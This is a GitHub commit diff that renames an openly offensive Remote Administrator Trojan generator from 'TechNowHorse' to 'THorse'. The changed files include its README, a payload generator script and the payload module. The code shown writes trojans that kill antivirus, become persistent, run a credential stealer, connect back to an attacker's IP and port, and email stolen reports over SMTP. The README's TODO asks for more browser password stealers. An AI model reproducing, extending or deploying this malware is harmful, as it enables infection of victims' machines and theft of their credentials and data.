Skip to content

Commit 405351b

Browse files
fix
1 parent 2e4f361 commit 405351b

File tree

5 files changed

+40
-49
lines changed

5 files changed

+40
-49
lines changed

README.md

+18-16
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,23 @@
1-
<h1 align="center">TechNowHorse</h1>
1+
<h1 align="center">THorse</h1>
22
<p align="center">
33
<a href="https://python.org">
44
<img src="https://img.shields.io/badge/Python-3.7-green.svg">
55
</a>
6-
<a href="https://github.com/PushpenderIndia/technowhorse/blob/master/LICENSE">
6+
<a href="https://github.com/PushpenderIndia/thorse/blob/master/LICENSE">
77
<img src="https://img.shields.io/badge/License-BSD%203-lightgrey.svg">
88
</a>
9-
<a href="https://github.com/PushpenderIndia/technowhorse/releases">
9+
<a href="https://github.com/PushpenderIndia/thorse/releases">
1010
<img src="https://img.shields.io/badge/Release-1.7-blue.svg">
1111
</a>
12-
<a href="https://github.com/PushpenderIndia/technowhorse">
12+
<a href="https://github.com/PushpenderIndia/thorse">
1313
<img src="https://img.shields.io/badge/Open%20Source-%E2%9D%A4-brightgreen.svg">
1414
</a>
1515
</p>
1616

1717

1818

1919
<p align="center">
20-
TechNowHorse is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3.
20+
THorse is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3.
2121
</p>
2222
2323
This small python script can do really awesome work.
@@ -106,10 +106,10 @@ $ Install latest python 3.x
106106
$ cd /opt/
107107

108108
# Clone this repository
109-
$ git clone https://github.com/PushpenderIndia/technowhorse.git
109+
$ git clone https://github.com/PushpenderIndia/thorse.git
110110

111111
# Go into the repository
112-
$ cd technowhorse
112+
$ cd thorse
113113

114114
# Installing dependencies
115115
$ bash installer_linux.sh
@@ -169,10 +169,10 @@ $ sudo apt install -t kali-rolling metasploit-framework
169169
$ sudo apt install python3-pip
170170
171171
# 12. Clone this repository
172-
$ git clone https://github.com/PushpenderIndia/technowhorse.git
172+
$ git clone https://github.com/PushpenderIndia/thorse.git
173173
174174
# 13. Go into the repository
175-
$ cd technowhorse
175+
$ cd thorse
176176
177177
# 14. Installing dependencies
178178
$ bash installer_linux.sh
@@ -201,15 +201,15 @@ Note: You can also use our custom icons from the icon folder, just use them like
201201
$ Install latest python 3.x
202202

203203
# Clone this repository
204-
$ git clone https://github.com/PushpenderIndia/technowhorse.git
204+
$ git clone https://github.com/PushpenderIndia/thorse.git
205205

206206
# Go into the repository
207-
$ cd technowhorse
207+
$ cd thorse
208208

209209
# Installing dependencies
210210
$ python -m pip install -r requirements.txt
211211

212-
# Open paygen.py in Text editor and Configure Line 14, set Pyinstaller path, Default Path is as follows :-
212+
# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows :-
213213
# PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")
214214

215215
# Getting Help Menu
@@ -306,7 +306,7 @@ msf3> run
306306
![](/img/6.getting_notification.png)
307307

308308
## Contributors:
309-
Currently this repo is maintained by me (Pushpender Singh).
309+
Currently this repo is maintained by me (Pushpender Singh). But If you want to become contributor, then add some cool feature and make a pull request, I will review, and merge it this repo.
310310

311311
All contributor's pull request will be accepted if their pull request is worthy for this repo.
312312

@@ -324,9 +324,7 @@ All contributor's pull request will be accepted if their pull request is worthy
324324
* Restart the System.
325325

326326
#### Method 2:
327-
* Run "RemoveTechnowHorse.bat" in Infected System and then restart the PC to stop the current Running Evil File.
328-
329-
327+
* Run "RemoveTHorse.bat" in Infected System and then restart the PC to stop the current Running Evil File.
330328

331329
## Removing TechNowHorse in Linux:
332330

@@ -347,3 +345,7 @@ All contributor's pull request will be accepted if their pull request is worthy
347345

348346

349347
## More Features Coming Soon...
348+
349+
## TODO (Contributors are welcome)
350+
* Add more browser password stealers
351+
* GUI Development
+5-5
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
del /q C:\Users\"%USERNAME%"\AppData\Roaming\explorer.exe
2-
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /f
3-
cls
4-
echo "[*] DONE "
5-
echo "[*] Please Restart Your System!"
1+
del /q C:\Users\"%USERNAME%"\AppData\Roaming\explorer.exe
2+
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /f
3+
cls
4+
echo "[*] DONE "
5+
echo "[*] Please Restart Your System!"
66
pause

banners.py

+2-13
Original file line numberDiff line numberDiff line change
@@ -64,18 +64,7 @@
6464
6565
6666
"""
67-
68-
69-
figlet_small = """
70-
71-
_____ _ _ _ _ _
72-
|_ _|__ __| |_ | \| |_____ __ _| || |___ _ _ ___ ___
73-
| |/ -_) _| ' \| .` / _ \ V V / __ / _ \ '_(_-</ -_)
74-
|_|\___\__|_||_|_|\_\___/\_/\_/|_||_\___/_| /__/\___|
75-
76-
77-
"""
78-
67+
7968

8069
def get_banner():
81-
return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper, figlet_small])
70+
return random.choice([figlet_ansi_shadow, figlet_big, figlet_doom, figlet_drpepper])

paygen.py

+13-13
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
PYTHON_PYINSTALLER_PATH = "wine ~/.wine/drive_c/Python37-32/Scripts/pyinstaller.exe"
2020

2121
def get_options():
22-
parser = argparse.ArgumentParser(description=f'{Fore.RED}TechnowHorse v1.7')
22+
parser = argparse.ArgumentParser(description=f'{Fore.RED}THorse v1.7')
2323
parser._optionals.title = f"{Fore.GREEN}Optional Arguments{Fore.YELLOW}"
2424
parser.add_argument("-w", "--windows", dest="windows", help="Generate a Windows executable.", action='store_true')
2525
parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux executable.", action='store_true')
@@ -116,30 +116,30 @@ def create_trojan(file_name, email, password, ip, port, time_persistent, legitim
116116
file.write("def check_and_start():\n")
117117
file.write("\tif win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:\n")
118118
file.write("\t\tmutex = None\n")
119-
file.write("\t\tprint(\"[+] Disabling TechNowHorse: Already Running\")\n")
119+
file.write("\t\tprint(\"[+] Disabling THorse: Already Running\")\n")
120120

121-
file.write("\telse:\n") # if no instance running, going to run TechNowHorse
121+
file.write("\telse:\n") # if no instance running, going to run THorse
122122

123123
if arguments.stealer:
124124
file.write(f"\t\tt2 = threading.Thread(target=steal)\n") #Making Stealer Thread
125125
file.write(f"\t\tt2.start()\n\n") #Starting Thread
126126

127-
file.write(f"\t\ttechnowHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
127+
file.write(f"\t\ttHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
128128
if arguments.kill_av != None and arguments.kill_av != "":
129-
file.write(f"\t\ttechnowHorse.kill_av({arguments.kill_av})\n")
129+
file.write(f"\t\ttHorse.kill_av({arguments.kill_av})\n")
130130
else:
131-
file.write("\t\ttechnowHorse.kill_av()\n")
132-
file.write(f"\t\ttechnowHorse.become_persistent({time_persistent})\n")
133-
file.write("\t\ttechnowHorse.start()\n\n")
131+
file.write("\t\ttHorse.kill_av()\n")
132+
file.write(f"\t\ttHorse.become_persistent({time_persistent})\n")
133+
file.write("\t\ttHorse.start()\n\n")
134134
file.write("check_and_start()\n")
135135

136136
def create_trojan_linux(file_name, email, password, ip, port, time_persistent):
137137
with open(file_name, "w+") as file:
138138
file.write("import payload\n")
139139

140-
file.write(f"technowHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
141-
file.write(f"technowHorse.become_persistent({time_persistent})\n")
142-
file.write("technowHorse.start()\n\n")
140+
file.write(f"tHorse = payload.TrojanHorse(\'{email}\', \'{password}\', \'{ip}\', {port})\n")
141+
file.write(f"tHorse.become_persistent({time_persistent})\n")
142+
file.write("tHorse.start()\n\n")
143143

144144

145145
def obfuscating_payload(file_name):
@@ -203,7 +203,7 @@ def exit_greet():
203203
except Exception as e:
204204
os.system('clear')
205205
del_junk_file(arguments.output)
206-
print(Fore.GREEN + '''Thank You for using TechNowHorse, Think Great & Touch The Sky! \n''' + Style.RESET_ALL)
206+
print(Fore.GREEN + '''Happy Hacking ~THorse!\n''' + Style.RESET_ALL)
207207
quit()
208208

209209
if __name__ == '__main__':
@@ -312,7 +312,7 @@ def exit_greet():
312312

313313
else:
314314
print(f"\n{Fore.RED}[!] Failed To Generate Your Payload :(, Please Try Again!\n")
315-
print(f"\n{Fore.GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/technowhorse\n")
315+
print(f"\n{Fore.GREEN}[:D] Please Contact us on https://github.com/PushpenderIndia/thorse\n")
316316

317317
except KeyboardInterrupt:
318318
exit_greet()

payload.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -103,7 +103,7 @@ def connect(self, ip, port):
103103
self.connect(self.ip, self.port)
104104

105105
def send_mail(self, message):
106-
message = "Subject: TechnowHorse Reporting\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
106+
message = "Subject: THorse Reporting\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
107107
server = smtplib.SMTP("smtp.gmail.com", 587)
108108
server.starttls()
109109
server.login(self.email, self.password)
@@ -114,7 +114,7 @@ def send_mail_with_attachment(self, files= None):
114114
msg = MIMEMultipart()
115115
msg['From'] = self.email
116116
msg['To'] = self.email
117-
msg['Subject'] = "TechnowHorse Reporting With Attachments"
117+
msg['Subject'] = "THorse Reporting With Attachments"
118118
text = "\nReport From:\n\n" + self.system_info
119119
msg.attach(MIMEText(text))
120120

0 commit comments

Comments
 (0)